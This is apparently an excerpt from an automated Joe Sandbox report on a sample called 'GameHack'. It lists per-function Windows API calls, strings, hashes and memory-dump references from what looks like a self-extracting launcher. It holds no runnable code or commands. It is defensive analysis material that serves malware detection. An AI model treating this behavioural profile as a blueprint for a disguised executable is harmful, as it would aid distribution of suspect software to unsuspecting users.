Instruction Fuzzy Hash: 85E18F72D0465CAADB25EBA1DC45DEF73BCEF08314F1050A6F609F31A1EB709A859B50

Function 00EDD341 Relevance: 23.3, APIs: 4, Strings: 9, Instructions: 555
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00EDD346
_wcschr.LIBVCRUNTIME ref: 00EDD367
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00EDD328,?), ref: 00EDD382
__fprintf_l.LIBCMT ref: 00EDD873

Part of subcall function 00EE137A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00EDB652,00000000,?,?,?,00010486), ref: 00EE1396

Strings

a, xrefs: 00EDD4EF
*messages***, xrefs: 00EDD49A
,, xrefs: 00EDD8AE
$%s:, xrefs: 00EDD856
@%s:, xrefs: 00EDD85D, 00EDD869
R, xrefs: 00EDD4E5
*messages***, xrefs: 00EDD4D3
RTL, xrefs: 00EDD838
, xrefs: 00EDD67A

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 4184910265-980926923
Opcode ID: 80e3c148643190e77eb1502dfc65c3c0dc8e21d16ffc8210620b36b91d289b77
Instruction ID: 98bb698e92263897b41774d26265325d8373a6ba55a242ba6147ab1cfebd943b
Opcode Fuzzy Hash: 80e3c148643190e77eb1502dfc65c3c0dc8e21d16ffc8210620b36b91d289b77
Instruction Fuzzy Hash: FB12C1719042199ACF24DFA4DC81BEEB7B9EF44304F10656BF616B7381EB719A42CB60

Function 00EECB5A Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EEAC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00EEAC85
Part of subcall function 00EEAC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00EEAC96
Part of subcall function 00EEAC74: IsDialogMessageW.USER32(00010486,?), ref: 00EEACAA
Part of subcall function 00EEAC74: TranslateMessage.USER32(?), ref: 00EEACB8
Part of subcall function 00EEAC74: DispatchMessageW.USER32(?), ref: 00EEACC2

GetDlgItem.USER32(00000068,00F2ECB0), ref: 00EECB6E
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,00EEA632,00000001,?,?,00EEAECB,00F04F88,00F2ECB0), ref: 00EECB96
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00EECBA1
SendMessageW.USER32(00000000,000000C2,00000000,00F035B4), ref: 00EECBAF
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00EECBC5
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00EECBDF
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00EECC23
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00EECC31
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00EECC40
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00EECC67
SendMessageW.USER32(00000000,000000C2,00000000,00F0431C), ref: 00EECC76

Strings

\, xrefs: 00EECBCF

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 66a404063b8d7a768ec73458d41a3e53c3f5fbbad6b25a60834300bfc8472b62
Instruction ID: 983035121d8146c2ba414fabe2ae39a1644777efac7a909606cf854d8b98026c
Opcode Fuzzy Hash: 66a404063b8d7a768ec73458d41a3e53c3f5fbbad6b25a60834300bfc8472b62
Instruction Fuzzy Hash: 2A3104B1188349BFE301DF20DC4AFAB7FADEB82714F000508F65096191DB645A09EB76

Function 00EE9E1C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(00EEAE4D,PNG,?,?,?,00EEAE4D,00000066), ref: 00EE9E2E
SizeofResource.KERNEL32(00000000,00000000,?,?,?,00EEAE4D,00000066), ref: 00EE9E46
LoadResource.KERNEL32(00000000,?,?,?,00EEAE4D,00000066), ref: 00EE9E59
LockResource.KERNEL32(00000000,?,?,?,00EEAE4D,00000066), ref: 00EE9E64
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00EEAE4D,00000066), ref: 00EE9E82
GlobalLock.KERNEL32(00000000), ref: 00EE9E93
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00EE9EB7
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00EE9EFC
GlobalUnlock.KERNEL32(00000000), ref: 00EE9F1B
GlobalFree.KERNEL32(00000000), ref: 00EE9F22

Strings

PNG, xrefs: 00EE9E1F

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Global$Resource$CreateLock$AllocBitmapFindFreeFromGdipLoadSizeofStreamUnlock
String ID: PNG
API String ID: 3656887471-364855578
Opcode ID: e23def08e0a9764704139a8a5401efbe2d3af51d428d98ab30f2a6114d346a6a
Instruction ID: e0c032314b2cb136ded503a44abd25240ddd5ed0ec0ea0decd492517ac47a6de
Opcode Fuzzy Hash: e23def08e0a9764704139a8a5401efbe2d3af51d428d98ab30f2a6114d346a6a
Instruction Fuzzy Hash: 5A318F7160435AABC7109F22DC4896BBBEDFF89755B044518F902E3262EB71DC00EBA1

Function 00EECE22 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32(?), ref: 00EECF54
ShowWindow.USER32(?,00000000), ref: 00EECF93
GetExitCodeProcess.KERNEL32(?,?), ref: 00EECFCF
CloseHandle.KERNEL32(?), ref: 00EECFF5
ShowWindow.USER32(?,00000001), ref: 00EED084

Part of subcall function 00EE17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00EDBB05,00000000,.exe,?,?,00000800,?,?,00EE85DF,?), ref: 00EE17C2

Strings

, xrefs: 00EECEA2
.exe, xrefs: 00EECFFF
.inf, xrefs: 00EECF10

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
String ID: $.exe$.inf
API String ID: 3686203788-2452507128
Opcode ID: 28070d417fba79b127f7c7ef5162515fbda216ce040e882f21b743eb082d3c43
Instruction ID: 6e7adc13fe74a8bcd37e7a293ad45de6a464f1ac1e2172c09ded95ef054c0a27
Opcode Fuzzy Hash: 28070d417fba79b127f7c7ef5162515fbda216ce040e882f21b743eb082d3c43
Instruction Fuzzy Hash: 1C6117715083C89AD731DF66D8006BB7BEAEF85308F18681EF5C0B7260D7B18986DB52

Function 00EFA058 Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00EF4E35,00EF4E35,?,?,?,00EFA2A9,00000001,00000001,3FE85006), ref: 00EFA0B2
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00EFA2A9,00000001,00000001,3FE85006,?,?,?), ref: 00EFA138
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,3FE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00EFA232
__freea.LIBCMT ref: 00EFA23F

Part of subcall function 00EF8518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00EFC13D,00000000,?,00EF67E2,?,00000008,?,00EF89AD,?,?,?), ref: 00EF854A

__freea.LIBCMT ref: 00EFA248
__freea.LIBCMT ref: 00EFA26D

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 7a7a75b611660a70d136c78811cf4831633235530e421ce66d3bf4731876eb23
Instruction ID: 16c590909e7cac64ba9d41767b1a0c962a5cbf544b50b1a3ea48763305480fe0
Opcode Fuzzy Hash: 7a7a75b611660a70d136c78811cf4831633235530e421ce66d3bf4731876eb23
Instruction Fuzzy Hash: C451E3F271020AAFEB258F64CC41EBB77AAEB44754F195239FE08EA151DB35DC408661

Function 00ED99B0 Relevance: 7.6, APIs: 5, Instructions: 117
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,?,00000000,?,00000000,?,?,00ED78AD,?,00000005,?,00000011), ref: 00ED9A4C
GetLastError.KERNEL32(?,?,00ED78AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00ED9A59
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,?,00000800,?,?,00ED78AD,?,00000005,?), ref: 00ED9A8E
GetLastError.KERNEL32(?,?,00ED78AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00ED9A96
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00ED78AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00ED9ADB

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: eb852364518915381c9b5ff0134489601eed06404baa71a3f4727a812b64396c
Instruction ID: 72ef4dc155b1e16b4fa1ab36081aff4fefeb8aaf3b9e589f6773d7921a0c2106
Opcode Fuzzy Hash: eb852364518915381c9b5ff0134489601eed06404baa71a3f4727a812b64396c
Instruction Fuzzy Hash: F04135315447466FE3209B20CC05BDABBD4FB05328F10171AF9E4A62D2E775A98ACB95

Function 00EEAC74 Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00EEAC85
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00EEAC96
IsDialogMessageW.USER32(00010486,?), ref: 00EEACAA
TranslateMessage.USER32(?), ref: 00EEACB8
DispatchMessageW.USER32(?), ref: 00EEACC2

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: ef97efe3d6565f7e6cb9399bffd12727fbb7c3802b105018c748f59fd30a7b9e
Instruction ID: 102721dfbcb9c555197fbad5c3b6c8e5fc8ff2e0e0478fdd4df18165499bf181
Opcode Fuzzy Hash: ef97efe3d6565f7e6cb9399bffd12727fbb7c3802b105018c748f59fd30a7b9e
Instruction Fuzzy Hash: FAF030B1D0112DABCB649BE2EC4CDEFBF6DEE052A17444419F805D2110EB34E409DBB1

Function 00EEA2C7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00EEA2DE
SHAutoComplete.SHLWAPI(?,00000010), ref: 00EEA315

Part of subcall function 00EE17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00EDBB05,00000000,.exe,?,?,00000800,?,?,00EE85DF,?), ref: 00EE17C2

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00EEA305

Strings

EDIT, xrefs: 00EEA2E9, 00EEA2F4, 00EEA301

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 50a63cfd42d398293f62c4f92a4119d0f5b570fc00129492ddb4be725178f972
Instruction ID: b9add1e1ef51c73bac4e4a13ebfa2ec4efdd820f9a4a0893d3d6a3e34e66f4b3
Opcode Fuzzy Hash: 50a63cfd42d398293f62c4f92a4119d0f5b570fc00129492ddb4be725178f972
Instruction Fuzzy Hash: 1BF02772A0122C77E7305625AC09FDF73AC9F46B10F080066BE04F3180D760AD45D6F6

Function 00EEA335 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EE0085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00EE00A0
Part of subcall function 00EE0085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00EDEB86,Crypt32.dll,00000000,00EDEC0A,?,?,00EDEBEC,?,?,?), ref: 00EE00C2

OleInitialize.OLE32(00000000), ref: 00EEA34E
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00EEA385
SHGetMalloc.SHELL32(00F18430), ref: 00EEA38F

Strings

riched20.dll, xrefs: 00EEA33D

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll
API String ID: 3498096277-3360196438
Opcode ID: a3c05e673d011155fa1901af946028a4c5a8be94655f23824364d2b8f6c106e3
Instruction ID: d84d9343b2fab2b45e890cbb1f345dc6a35bb4d3b6e4754a00286c9fe30f0c04
Opcode Fuzzy Hash: a3c05e673d011155fa1901af946028a4c5a8be94655f23824364d2b8f6c106e3
Instruction Fuzzy Hash: F1F049B1C0020EABCB50AF9AD8499EFFBFCEF94311F00415AE914E2200DBB456499BA1

Function 00EED287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00EED29D
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00EED2D9

Strings

sfxcmd, xrefs: 00EED298
sfxpar, xrefs: 00EED2D4

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: fa9f478675b6c4553511439ef583a344762acf65a0a0e2216878f799beaf21cd
Instruction ID: ae4c570b96aee0e10655fc7c070b43d526fe15b0e23807955a39ed3ed827df78
Opcode Fuzzy Hash: fa9f478675b6c4553511439ef583a344762acf65a0a0e2216878f799beaf21cd
Instruction Fuzzy Hash: 6BF0A07280522CE6DB206F919C0ABFEBBACEF0DB41B005112FD85B6261D660CD40EAF1

Function 00ED984E Relevance: 6.1, APIs: 4, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00ED985E
ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 00ED9876
GetLastError.KERNEL32 ref: 00ED98A8
GetLastError.KERNEL32 ref: 00ED98C7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 586e8bb034be96cd84decfed1fc9d85d6eeeab6541da69dc49b06ed5a28e29ee
Instruction ID: 20c47a3c7c53842997a77570fd8e3ad00bf44e62becccaeaecec92f985c8ef78
Opcode Fuzzy Hash: 586e8bb034be96cd84decfed1fc9d85d6eeeab6541da69dc49b06ed5a28e29ee
Instruction Fuzzy Hash: 8A11A738900308EFDB285B51CC0466977ACFB02B38F10A12BF41AA6741D7759D42BF51

Function 00EFA4F4 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00EDCFE0,00000000,00000000,?,00EFA49B,00EDCFE0,00000000,00000000,00000000,?,00EFA698,00000006,FlsSetValue), ref: 00EFA526
GetLastError.KERNEL32(?,00EFA49B,00EDCFE0,00000000,00000000,00000000,?,00EFA698,00000006,FlsSetValue,00F07348,00F07350,00000000,00000364,?,00EF9077), ref: 00EFA532
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00EFA49B,00EDCFE0,00000000,00000000,00000000,?,00EFA698,00000006,FlsSetValue,00F07348,00F07350,00000000), ref: 00EFA540

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: e4e12ba9deb70722f4fac2d4e81efbf36ff8552be4904c2c3ca3328854d67c93
Instruction ID: 4c8864e6e4c7f2517466fb81ae76cc1559c4f6552b621d91f06dc4bc0b321559
Opcode Fuzzy Hash: e4e12ba9deb70722f4fac2d4e81efbf36ff8552be4904c2c3ca3328854d67c93
Instruction Fuzzy Hash: 050147B261122EABC7208B689C44AB67B5CBF05BA5B280134FE0EEB240D720D900C6E1

Function 00ED9F2F Relevance: 4.6, APIs: 3, Instructions: 107fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,00000001,?,?,00EDCC94,00000001,?,?,?,00000000,00EE4ECD,?,?,?), ref: 00ED9F4C
WriteFile.KERNEL32(?,?,?,00000000,00000000,?,?,00000000,00EE4ECD,?,?,?,?,?,00EE4972,?), ref: 00ED9F8E
WriteFile.KERNELBASE(?,?,?,00000000,00000000,?,?,?,00000001,?,?,00EDCC94,00000001,?,?), ref: 00ED9FB8

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: f782b4fa181bc8f9f30aceec79014fa70d6cd4cb18ef403e2abf3c2c858fabdf
Instruction ID: a0063e2c88f1dc1bd29c52d6a6897d9fe54f36e444d76f240903542a73065aab
Opcode Fuzzy Hash: f782b4fa181bc8f9f30aceec79014fa70d6cd4cb18ef403e2abf3c2c858fabdf
Instruction Fuzzy Hash: B131E2712083059BDF109F24DC48B7ABBA8FB50714F04566EF945AB382C775DD4ACBA2

Function 00EDA207 Relevance: 4.6, APIs: 3, Instructions: 56COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00EDA113,?,00000001,00000000,?,?), ref: 00EDA22E
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00EDA113,?,00000001,00000000,?,?), ref: 00EDA261
GetLastError.KERNEL32(?,?,?,?,00EDA113,?,00000001,00000000,?,?), ref: 00EDA27E

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
